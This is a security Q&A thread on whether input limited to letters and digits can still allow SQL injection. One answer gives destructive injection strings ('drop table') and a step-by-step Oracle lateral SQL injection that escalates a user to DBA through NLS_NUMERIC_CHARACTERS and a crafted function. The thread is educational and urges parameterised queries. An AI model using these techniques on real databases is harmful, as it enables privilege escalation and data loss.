A string with Letter and Number only can inject SQL statement

Question

I am new to SQL injection and read some article, many hackers may use ';' and space ' 'in their input, for example:

(1) username = '123;drop table account'

(2) username = '123 and 1=1'

But the question is, if we only allow user to type letter (both upper and lower case) and number on client side, no any other character like space, semicolon is allowed, is there any string exists can inject SQL statement?? If so, can anyone give me an example? Thanks!

please note that I don't ask if client side can prevent SQL injection, I just wonder if such string with letter and number only exists to do SQL injection.

Answer 1

Firstly, anything you do on the client-side can be bypassed. The easiest way to remember this is to replace "client-side" with "on the attacker's computer, over which they have complete control".

In the specific case of a website, this might be as simple as the attacker pressing F12 on their browser and editing the page, or it might require them to craft an HTTP request using some other means, but the most you can do is slow them down by a few minutes while they figure it out. You do not have any control over what data an attacker can attempt to send you.

Secondly, I can't think of an attack that would work using only digits and non-accented characters, but that doesn't mean there isn't one. On the other hand, I can't think of many places where constraining the input in that way would still result in useful functionality. Whitelist-based validation (on the server side) certainly has its place, but the need to come up with the right whitelist for every scenario makes it an awkward mechanism for security.

As such, you are better off first ensuring that you are using correct escaping for wherever you use your data (escaping is always about output / usage, never about input / source), and separating data from code wherever possible (e.g. using parametrised queries rather than including data in SQL strings). Once you have that working, whitelist-based validation may be a sensible additional step.

Answer 2

What I understand from all your comments is that you are asking this:

Is it possible to do a SQL Injection where we only allow the user to enter numbers and characters A to Z (upper and lower case)?

In other words, you are saying that in order to do SQL Injection the user needs to be able to enter characters such as - and ' as demonstrated in Bobby Tables with this malicious user entry:

Robert'); DROP TABLE STUDENTS; --

Short Answer

Yes, it is possible.

Long Answer

You, or we, may think there is NO way of doing a SQL Injection using numbers only but there may happen to be someone out there who will be clever enough to figure out a way. And someone did figure out a way in Oracle!

Imagine we have this function:

CREATE OR REPLACE FUNCTION P01
RETURN NUMBER
AUTHID current_user
IS
PRAGMA autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'grant dba to scott';
RETURN 1;
END;

So it is pretty straight forward: A function named P01 that will make scott the dba. Is there any way for us to execute this function without having the privileges of granting users roles? For example, if you are logged in as someone who is not a dba and you issue this command, it will fail:

SET ROLE dba;

It will fail and produce this error:

set role dba
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist

Hacker's Goal

How can I execute the function P01 and make myself the dba?

Finding the Vulnerability

Here is a function which ONLY accepts a numeric parameter but we will see that we can do a SQL Injection here:

1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
2 IS
3 stmt VARCHAR2(2000);
4 BEGIN
5 stmt := 'select object_name from all_objects where object_id = ' || n;
6 EXECUTE IMMEDIATE stmt;
7 END;

The parameter is concatenated to the end of the sql statement. But in order to do the concatenation, it must be converted from a number to string. The weakness, vulnerability, lies within how the Oracle engine converts a number to a string.

According to this, Oracle uses the session variable NLS_NUMERIC_CHARACTERS when converting a NUMERIC value to a string. The format of NLS_NUMERIC_CHARACTERS is a string where the first character specifies the decimal separator and the second character specifies the group separator.

If we issue this query:

SELECT TO_NUMBER('1.01', '0D00') FROM dual;

it will convert the string 1.01 to the number 1.01. But if we change the NLS_NUMERIC_CHARACTERS like this:

ALTER SESSION SET NLS_NUMERIC_CHARACTERS='P ';

and issue this query:

SELECT TO_NUMBER('1P01', '0D00') FROM dual;

it will convert the string 1P01 to the number P01 (recall that P is decimal separator since we set NLS_NUMERIC_CHARACTERS to P). Aha! It has converted it to P01 which also happens to be the name of the function which is the ultimate goal...ok a step closer.

The Hack

Even though the user does not have privileges, the user can now do this:

EXEC SYS.NUM_PROC(TO_NUMBER('P01', 'D00'));

As a refresher, here is the code for SYS.NUM_PROC again:

1 CREATE OR REPLACE PROCEDURE NUM_PROC(n NUMBER)
2 IS
3 stmt VARCHAR2(2000);
4 BEGIN
5 stmt := 'select object_name from all_objects where object_id = ' || n;
6 EXECUTE IMMEDIATE stmt;
7 END;

since TO_NUMBER('P01', 'D00') will produce P01 as output, the stmt will have this assigned to it:

select object_name from all_objects where object_id = 1P01

and it will execute the statement immediately and 1P01 is executed. Goal accomplished. Hack accomplished and user is now dba!

And of course I am not smart enough to come up with all this, I got the info from Lateral SQL Injection.

Answer 3

Some cases of SQL injection use hex-encoding to hide a string value from filters. If your client side code filters only that the value has letters and numbers, that still allows long strings of hex digits, and this could be decoded by your server as it is interpolated into SQL.

And I agree with @IMSoP, you shouldn't rely on client-side code at all. Any attacker could modify the client-side code and bypass the checks you had written. Better to use parameterized queries on the server-side.